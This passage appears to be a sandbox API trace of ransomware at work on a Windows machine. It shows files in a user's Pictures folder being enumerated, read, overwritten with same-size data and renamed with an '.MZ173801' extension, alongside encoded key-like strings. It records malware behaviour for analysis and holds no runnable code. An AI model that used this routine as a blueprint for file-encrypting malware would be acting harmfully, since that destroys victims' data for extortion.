lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d0c2ac0, ftCreationTime.dwHighDateTime=0x1d5e22d, ftLastAccessTime.dwLowDateTime=0x13b613d0, ftLastAccessTime.dwHighDateTime=0x1d5e356, ftLastWriteTime.dwLowDateTime=0x13b613d0, ftLastWriteTime.dwHighDateTime=0x1d5e356, nFileSizeHigh=0x0, nFileSizeLow=0xacbb, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="P9h2q9pkA0FWYXgRW7.gif", cAlternateFileName="P9H2Q9~1.GIF")) returned 1 [0122.756] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.756] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.756] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\P9h2q9pkA0FWYXgRW7.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\p9h2q9pka0fwyxgrw7.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d0c2ac0, ftCreationTime.dwHighDateTime=0x1d5e22d, ftLastAccessTime.dwLowDateTime=0x13b613d0, ftLastAccessTime.dwHighDateTime=0x1d5e356, ftLastWriteTime.dwLowDateTime=0x13b613d0, ftLastWriteTime.dwHighDateTime=0x1d5e356, nFileSizeHigh=0x0, nFileSizeLow=0xacbb)) returned 1 [0122.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.759] GetCurrentThreadId () returned 0x9fc [0122.759] GetCurrentThreadId () returned 0x9fc [0122.759] GetCurrentThreadId () returned 0x9fc [0122.759] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.759] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.760] GetCurrentThreadId () returned 0x9fc [0122.760] GetCurrentThreadId () returned 0x9fc [0122.760] GetCurrentThreadId () returned 0x9fc [0122.760] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\P9h2q9pkA0FWYXgRW7.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\p9h2q9pka0fwyxgrw7.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.760] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.760] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.760] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xacbb [0122.760] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.760] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0xacbb, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xacbb, lpOverlapped=0x0) returned 1 [0122.762] CloseHandle (hObject=0x288) returned 1 [0122.763] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\P9h2q9pkA0FWYXgRW7.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\p9h2q9pka0fwyxgrw7.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.764] WriteFile (in: hFile=0x288, lpBuffer=0x720540*, nNumberOfBytesToWrite=0xacbb, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x720540*, lpNumberOfBytesWritten=0x18f99c*=0xacbb, lpOverlapped=0x0) returned 1 [0122.766] CloseHandle (hObject=0x288) returned 1 [0122.767] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\P9h2q9pkA0FWYXgRW7.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\p9h2q9pka0fwyxgrw7.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\P9h2q9pkA0FWYXgRW7.gif.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\p9h2q9pka0fwyxgrw7.gif.mz173801")) returned 1 [0122.768] GetCurrentThreadId () returned 0x9fc [0122.768] GetCurrentThreadId () returned 0x9fc [0122.768] GetCurrentThreadId () returned 0x9fc [0122.768] GetCurrentThreadId () returned 0x9fc [0122.768] GetCurrentThreadId () returned 0x9fc [0122.768] GetCurrentThreadId () returned 0x9fc [0122.768] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10ceb10, ftCreationTime.dwHighDateTime=0x1d5ddc4, ftLastAccessTime.dwLowDateTime=0x2acc0350, ftLastAccessTime.dwHighDateTime=0x1d5d8d3, ftLastWriteTime.dwLowDateTime=0x2acc0350, ftLastWriteTime.dwHighDateTime=0x1d5d8d3, nFileSizeHigh=0x0, nFileSizeLow=0x105ff, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="Q_4QD7.bmp", cAlternateFileName="")) returned 1 [0122.768] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.768] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.768] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Q_4QD7.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q_4qd7.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10ceb10, ftCreationTime.dwHighDateTime=0x1d5ddc4, ftLastAccessTime.dwLowDateTime=0x2acc0350, ftLastAccessTime.dwHighDateTime=0x1d5d8d3, ftLastWriteTime.dwLowDateTime=0x2acc0350, ftLastWriteTime.dwHighDateTime=0x1d5d8d3, nFileSizeHigh=0x0, nFileSizeLow=0x105ff)) returned 1 [0122.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4R